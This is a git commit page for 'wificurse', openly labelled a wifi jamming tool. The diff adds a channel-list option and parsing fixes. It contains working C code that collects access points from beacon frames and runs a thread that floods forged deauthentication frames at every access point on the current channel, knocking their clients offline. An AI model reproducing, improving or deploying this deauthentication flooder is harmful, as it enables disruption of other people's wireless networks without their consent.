wificurse

wifi jamming tool
git clone git://git.2f30.org/wificurse.git
Log | Files | Refs | README | LICENSE

commit cf9755e6f7fde24b4261c67d2d24bf67c836345b
parent 02f513a037be1d80e6dfaf26ce50a160ab83dfaf
Author: oblique <psyberbits@gmail.com>
Date:   Thu Apr  5 23:42:58 +0300

channel list option added

Diffstat:
src/ap_list.c | 6+++---
src/channelset.h | 2+-
src/error.h | 1-
src/iw.c | 18++++++++++--------
src/wificurse.c | 167++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-------------------
src/wificurse.h | 2+-
6 files changed, 142 insertions(+), 54 deletions(-)
diff --git a/src/ap_list.c b/src/ap_list.c @@ -79,10 +79,10 @@ int add_or_update_ap(struct ap_list *apl, struct ap_info *api) { memset(ap, 0, sizeof(*ap)); memcpy(&ap->info, api, sizeof(ap->info)); + ap->last_beacon_tm = time(NULL); link_ap(apl, ap); - } - - ap->last_beacon_tm = time(NULL); + } else + ap->last_beacon_tm = time(NULL); return 0; } diff --git a/src/channelset.h b/src/channelset.h @@ -22,7 +22,7 @@ #include <stdint.h> #define CHANNEL_MAX 255 -typedef volatile uint32_t channelset_t[8]; +typedef uint32_t channelset_t[8]; static inline void channel_zero(channelset_t *cs) { uint32_t *c = (uint32_t*)cs; diff --git a/src/error.h b/src/error.h @@ -24,7 +24,6 @@ #define GOTERR -1 #define ERRNODATA -2 -#define ERRAGAIN -3 void set_error(char *file, int line, int errnum, char *fmt, ...); void print_error(); diff --git a/src/iw.c b/src/iw.c @@ -172,22 +172,30 @@ ssize_t iw_write(struct iw_dev *dev, void *buf, size_t count) { if (r < 0) { free(pbuf); return_error("send"); + } else if (r > 0) { + r -= rt_hdr->len; + if (r <= 0) + r = 0; } - r -= rt_hdr->len; free(pbuf); - return r > 0 ? r : ERRAGAIN; + return r; } ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { struct radiotap_hdr *rt_hdr; int r; + *pkt = NULL; + *pkt_sz = 0; + /* read packet */ r = recv(dev->fd_in, buf, count, 0); if (r < 0) return_error("recv"); + else if (r == 0) + return 0; rt_hdr = buf; if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r) @@ -201,12 +209,6 @@ ssize_t iw_read(struct iw_dev *dev, void *buf, size_t count, uint8_t **pkt, size int iw_set_channel(struct iw_dev *dev, int chan) { struct iwreq iwr; - ssize_t ret; - - /* discard packets that are in kernel packet queue */ - ret = 0; - while (ret != -1) - ret = recv(dev->fd_in, NULL, 0, MSG_DONTWAIT); /* set channel */ memset(&iwr, 0, sizeof(iwr)); diff --git a/src/wificurse.c b/src/wificurse.c @@ -20,6 +20,7 @@ #include <stdlib.h> #include <stdint.h> #include <string.h> +#include <unistd.h> #include <poll.h> #include <signal.h> #include <pthread.h> @@ -33,13 +34,13 @@ #include "wificurse.h" +#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0])) + struct deauth_thread_args { struct ap_list *apl; struct iw_dev *dev; pthread_mutex_t *chan_mutex; pthread_mutex_t *list_mutex; - channelset_t *chans_fixed; - channelset_t *chans; volatile int stop; }; @@ -66,7 +67,7 @@ int send_deauth(struct iw_dev *dev, struct access_point *ap) { deauth->sc.sequence = ap->sequence++; do { r = iw_write(dev, deauth, sizeof(*deauth) + sizeof(*reason)); - } while (r == ERRAGAIN); + } while (r == 0); if (r < 0) { free(deauth); return r; @@ -81,6 +82,7 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) { uint8_t buf[4096], *pkt; size_t pkt_sz; ssize_t r, tmp, n; + uintptr_t tmp_ip; struct mgmt_frame *beacon; struct beacon_frame_body *beacon_fb; struct info_element *beacon_ie; @@ -89,24 +91,35 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) { if (r < 0) return r; + if (pkt_sz < sizeof(*beacon) + sizeof(*beacon_fb)) + return ERRNODATA; + beacon = (struct mgmt_frame*)pkt; /* if it's a beacon packet */ if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) { memcpy(api->bssid, beacon->bssid, IFHWADDRLEN); beacon_fb = (struct beacon_frame_body*)beacon->frame_body; - beacon_ie = beacon_fb->infos; + beacon_ie = (struct info_element*)beacon_fb->infos; api->essid[0] = '\0'; n = 0; /* parse beacon */ while (1) { + tmp_ip = (uintptr_t)beacon_ie + sizeof(*beacon_ie); + if (tmp_ip - (uintptr_t)buf >= r) + break; + tmp_ip += beacon_ie->len; + if (tmp_ip - (uintptr_t)buf > r) + break; if (beacon_ie->id == INFO_ELEMENT_ID_SSID) { /* SSID found */ tmp = beacon_ie->len < ESSID_LEN ? beacon_ie->len : ESSID_LEN; memcpy(api->essid, beacon_ie->info, tmp); api->essid[tmp] = '\0'; n |= 1; } else if (beacon_ie->id == INFO_ELEMENT_ID_DS) { /* channel number found */ + if (beacon_ie->len != 1) + break; api->chan = beacon_ie->info[0]; n |= 2; } @@ -114,15 +127,12 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) { break; /* next beacon element */ beacon_ie = (struct info_element*)&beacon_ie->info[beacon_ie->len]; - if ((uintptr_t)beacon_ie - (uintptr_t)buf >= r) - break; } /* if we didn't found the channel number - * or if the channel number is not in interference range * then return ERRNODATA */ - if (!(n & 2) || api->chan < dev->chan-2 || api->chan > dev->chan+2) + if (!(n & 2)) return ERRNODATA; return 0; @@ -134,7 +144,7 @@ int read_ap_info(struct iw_dev *dev, struct ap_info *api) { void *deauth_thread_func(void *arg) { struct deauth_thread_args *ta = arg; struct access_point *ap, *tmp; - int i, j, b, tmp_chan; + int i, j, b; while (!ta->stop) { pthread_mutex_lock(ta->chan_mutex); @@ -144,29 +154,16 @@ void *deauth_thread_func(void *arg) { ap = ta->apl->head; while (ap != NULL && !ta->stop) { /* if the last beacon we got was 3 mins ago, remove AP */ + pthread_mutex_lock(ta->list_mutex); if (time(NULL) - ap->last_beacon_tm >= 3*60) { - tmp_chan = ap->info.chan; tmp = ap; ap = ap->next; - pthread_mutex_lock(ta->list_mutex); unlink_ap(ta->apl, tmp); free(tmp); - /* if AP channel is not in chans_fixed and there isn't any - * other AP that use this channel, remove it from chans. - */ - if (!channel_isset(ta->chans_fixed, tmp_chan)) { - tmp = ta->apl->head; - while (tmp != NULL) { - if (tmp->info.chan == tmp_chan) - break; - tmp = tmp->next; - } - if (tmp == NULL) - channel_unset(ta->chans, tmp_chan); - } pthread_mutex_unlock(ta->list_mutex); continue; } + pthread_mutex_unlock(ta->list_mutex); /* if interface and AP are in the same channel, send deauth */ if (ap->info.chan == ta->dev->chan) { if (send_deauth(ta->dev, ap) < 0) { @@ -194,6 +191,70 @@ void *deauth_thread_func(void *arg) { return NULL; } +static void print_usage(FILE *f) { + fprintf(f, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n"); + fprintf(f, " usage: wificurse [options] <interface>\n\n"); + fprintf(f, " Options:\n"); + fprintf(f, " -c channels Channel list (e.g 1,4-6,11) (default: 1-14)\n"); + fprintf(f, "\n"); +} + +static int parse_chans_str(char *chans_str, channelset_t *chans) { + char *s, *str, *ptrs[256] = { NULL }; + int i, j, n, chan1, chan2; + + channel_zero(chans); + + str = strtok_r(chans_str, ",", &s); + ptrs[0] = str; + n = 1; + while (n < ARRAY_SIZE(ptrs)-1) { + str = strtok_r(NULL, ",", &s); + if (str == NULL) + break; + ptrs[n++] = str; + } + + i = 0; + while (ptrs[i] != NULL) { + if (ptrs[i][0] == '-') + return -1; + n = 0; + for (j = 0; ptrs[i][j] != '\0'; j++) { + if (ptrs[i][j] == '-') { + if (ptrs[i][j+1] == '\0') + return -1; + n++; + if (n > 1) + return -1; + } else if (ptrs[i][j] < '0' || ptrs[i][j] > '9') + return -1; + } + + str = strtok_r(ptrs[i], "-", &s); + chan1 = atoi(str); + if (chan1 == 0) + return -1; + + if (s[0] == '\0') + chan2 = chan1; + else + chan2 = atoi(s); + + if (chan1 >= 256 || chan2 >= 256) + return -1; + + if (chan1 > chan2) + return -1; + + for (j = chan1; j <= chan2; j++) + channel_set(chans, j); + i++; + } + + return 0; +} + int main(int argc, char *argv[]) { struct ap_list apl; struct ap_info api; @@ -204,14 +265,37 @@ int main(int argc, char *argv[]) { suseconds_t msec; pthread_t deauth_thread; pthread_mutex_t chan_mutex, list_mutex; - channelset_t chans_fixed, chans; - int ret, sigfd, n, chan; + channelset_t chans; + int ret, sigfd, c, n, chan; + char *ifname, *chans_str; sigset_t exit_sig; time_t tm; - if (argc != 2) { - fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n"); - fprintf(stderr, " usage: wificurse <interface>\n\n"); + if (argc < 2) { + print_usage(stderr); + return EXIT_FAILURE; + } + + /* arguments */ + ifname = argv[argc-1]; + chans_str = NULL; + + while((c = getopt(argc, argv, "c:h")) != -1) { + switch (c) { + case 'c': + chans_str = optarg; + break; + case 'h': + print_usage(stdout); + return EXIT_SUCCESS; + case '?': + default: + return EXIT_FAILURE; + } + } + + if (argv[optind] != ifname) { + print_usage(stderr); return EXIT_FAILURE; } @@ -220,6 +304,18 @@ int main(int argc, char *argv[]) { return EXIT_FAILURE; } + /* init channel set */ + if (chans_str == NULL) { + channel_zero(&chans); + for (n=1; n<=14; n++) + channel_set(&chans, n); + } else { + if (parse_chans_str(chans_str, &chans) == -1) { + fprintf(stderr, "Can not parse the channels\n"); + return EXIT_FAILURE; + } + } + /* init access point list */ init_ap_list(&apl); @@ -245,7 +341,7 @@ int main(int argc, char *argv[]) { /* init device */ iw_init_dev(&dev); - strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1); + strncpy(dev.ifname, ifname, sizeof(dev.ifname)-1); if (iw_open(&dev) < 0) { print_error(); @@ -256,12 +352,6 @@ int main(int argc, char *argv[]) { pfd[1].revents = 0; pfd[1].events = POLLIN; - /* init channel set */ - channel_zero(&chans_fixed); - for (n=1; n<=14; n++) - channel_set(&chans_fixed, n); - channel_copy(&chans, &chans_fixed); - /* set channel */ n = 0; chan = 0; @@ -282,8 +372,6 @@ int main(int argc, char *argv[]) { ta.stop = 0; ta.apl = &apl; ta.dev = &dev; - ta.chans_fixed = &chans_fixed; - ta.chans = &chans; pthread_mutex_init(&chan_mutex, NULL); ta.chan_mutex = &chan_mutex; pthread_mutex_init(&list_mutex, NULL); @@ -312,8 +400,7 @@ int main(int argc, char *argv[]) { if (ret < 0 && ret != ERRNODATA) { /* error */ print_error(); goto _errout; - } else if (ret == 0) { /* got infos */ - channel_set(&chans, api.chan); + } else if (ret == 0 && channel_isset(&chans, api.chan)) { /* got infos */ pthread_mutex_lock(&list_mutex); if (add_or_update_ap(&apl, &api) < 0) { pthread_mutex_unlock(&list_mutex); diff --git a/src/wificurse.h b/src/wificurse.h @@ -72,7 +72,7 @@ struct beacon_frame_body { uint64_t timestamp; uint16_t interval; uint16_t capabilities; - struct info_element infos[]; + uint8_t infos[]; } __attribute__((__packed__));